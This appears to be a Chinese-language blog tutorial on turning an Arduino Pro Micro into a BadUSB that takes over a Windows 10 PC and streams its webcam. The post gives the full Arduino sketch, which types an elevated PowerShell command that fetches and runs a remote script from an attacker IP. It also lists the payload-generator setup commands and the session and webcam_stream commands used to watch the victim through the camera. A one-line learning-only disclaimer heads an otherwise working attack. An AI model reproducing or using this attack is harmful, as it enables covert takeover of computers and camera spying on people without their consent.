声明

本文仅限学习交流使用,切勿做任何违法的行为


材料准备

  • badusb一枚,我用的是Arduino Pro Micro(Atmega32U4)改造而成
  • kail linux系统PC
  • win10系统PC

Kail linux端

  • 下载Payload生成脚本
  • git clone https://github.com/christofersimbar/Arduino-Reverse-Shell-Generator.git
  • cd Arduino-Reverse-Shell-Generator
  • sudo ruby reverse_powershell_arduino.rb
  • 输入本机ip和自定义端口,一路回车,生成Arduino烧录用的脚本
  • Arduino烧录用的脚本(自己修改url中的ip地址)
#include <Keyboard.h>

void typeKey(int key) {
  Keyboard.press(key);
  delay(500);
  Keyboard.release(key);
}

void setup()
{
  Keyboard.begin();
  Keyboard.press(KEY_LEFT_GUI);
  delay(1000);
  Keyboard.press('x');
  Keyboard.releaseAll();
  delay(500);
  typeKey('a');
  delay(100);
  Keyboard.press(KEY_LEFT_ALT);
  delay(500);
  Keyboard.press('y');
  Keyboard.releaseAll();
  delay(800);
  Keyboard.print("[system.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };IEX (New-Object Net.WebClient).DownloadString('http://192.168.88.102/shell.txt')");
  typeKey(KEY_RETURN);
  Keyboard.end();
}

void loop() {}
  • 将脚本烧录进Arduino中,完成badusb制作

win10系统PC端

  • 插入badusb,会自动执行脚本

控制win10系统PC的webcam

  • 回到kail linux中,可以看到已经连接上win10系统PC
  • 执行:sessions -i 1 进入目标系统
  • 执行:webcam_list 扫描可用的webcam
  • 执行:webcam_stream 1 打开目标的1号webcam
  • 在浏览器中可以观察到结果
Logo

更多推荐